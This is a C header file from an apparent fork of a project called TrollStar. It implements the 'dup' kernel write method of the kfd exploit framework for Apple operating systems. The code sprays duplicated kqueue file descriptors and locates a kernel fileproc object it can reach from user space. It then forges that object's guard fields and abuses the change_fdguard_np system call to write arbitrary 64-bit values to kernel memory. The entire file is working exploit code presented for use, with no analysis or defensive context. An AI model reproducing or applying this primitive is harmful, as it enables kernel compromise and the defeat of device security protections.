forked from 34306/TrollStar
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkwrite_dup.h
145 lines (115 loc) · 4 KB
/
kwrite_dup.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
/*
* Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
*/
#ifndef kwrite_dup_h
#define kwrite_dup_h
void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value);
void kwrite_dup_init(struct kfd* kfd)
{
kfd->kwrite.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100;
kfd->kwrite.krkw_object_size = sizeof(struct fileproc);
kfd->kwrite.krkw_method_data_size = ((kfd->kwrite.krkw_maximum_id + 1) * (sizeof(i32)));
kfd->kwrite.krkw_method_data = malloc_bzero(kfd->kwrite.krkw_method_data_size);
i32 kqueue_fd = kqueue();
assert(kqueue_fd > 0);
i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
fds[kfd->kwrite.krkw_maximum_id] = kqueue_fd;
}
void kwrite_dup_allocate(struct kfd* kfd, u64 id)
{
i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
i32 kqueue_fd = fds[kfd->kwrite.krkw_maximum_id];
i32 fd = dup(kqueue_fd);
assert(fd > 0);
fds[id] = fd;
}
bool kwrite_dup_search(struct kfd* kfd, u64 object_uaddr)
{
volatile struct fileproc* fp = (volatile struct fileproc*)(object_uaddr);
i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
if ((fp->fp_iocount == 1) &&
(fp->fp_vflags == 0) &&
(fp->fp_flags == 0) &&
(fp->fp_guard_attrs == 0) &&
(fp->fp_glob > PTR_MASK) &&
(fp->fp_guard == 0)) {
for (u64 object_id = kfd->kwrite.krkw_searched_id; object_id < kfd->kwrite.krkw_allocated_id; object_id++) {
assert_bsd(fcntl(fds[object_id], F_SETFD, FD_CLOEXEC));
if (fp->fp_flags == 1) {
kfd->kwrite.krkw_object_id = object_id;
return true;
}
assert_bsd(fcntl(fds[object_id], F_SETFD, 0));
}
/*
* False alarm: it wasn't one of our fileproc objects.
*/
print_warning("failed to find modified fp_flags sentinel");
}
return false;
}
void kwrite_dup_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
{
kwrite_from_method(u64, kwrite_dup_kwrite_u64);
}
void kwrite_dup_find_proc(struct kfd* kfd)
{
/*
* Assume that kread is responsible for that.
*/
return;
}
void kwrite_dup_deallocate(struct kfd* kfd, u64 id)
{
i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
assert_bsd(close(fds[id]));
}
void kwrite_dup_free(struct kfd* kfd)
{
kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_object_id);
kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_maximum_id);
}
/*
* 64-bit kwrite function.
*/
void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value)
{
if (new_value == 0) {
print_warning("cannot write 0");
return;
}
i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
i32 kwrite_fd = fds[kfd->kwrite.krkw_object_id];
u64 fileproc_uaddr = kfd->kwrite.krkw_object_uaddr;
volatile struct fileproc* fp = (volatile struct fileproc*)(fileproc_uaddr);
const bool allow_retry = false;
do {
u64 old_value = 0;
kread((u64)(kfd), kaddr, &old_value, sizeof(old_value));
if (old_value == 0) {
print_warning("cannot overwrite 0");
return;
}
if (old_value == new_value) {
break;
}
u16 old_fp_guard_attrs = fp->fp_guard_attrs;
u16 new_fp_guard_attrs = GUARD_REQUIRED;
fp->fp_guard_attrs = new_fp_guard_attrs;
u64 old_fp_guard = fp->fp_guard;
u64 new_fp_guard = kaddr - offsetof(struct fileproc_guard, fpg_guard);
fp->fp_guard = new_fp_guard;
u64 guard = old_value;
u32 guardflags = GUARD_REQUIRED;
u64 nguard = new_value;
u32 nguardflags = GUARD_REQUIRED;
if (allow_retry) {
syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL);
} else {
assert_bsd(syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL));
}
fp->fp_guard_attrs = old_fp_guard_attrs;
fp->fp_guard = old_fp_guard;
} while (allow_retry);
}
#endif /* kwrite_dup_h */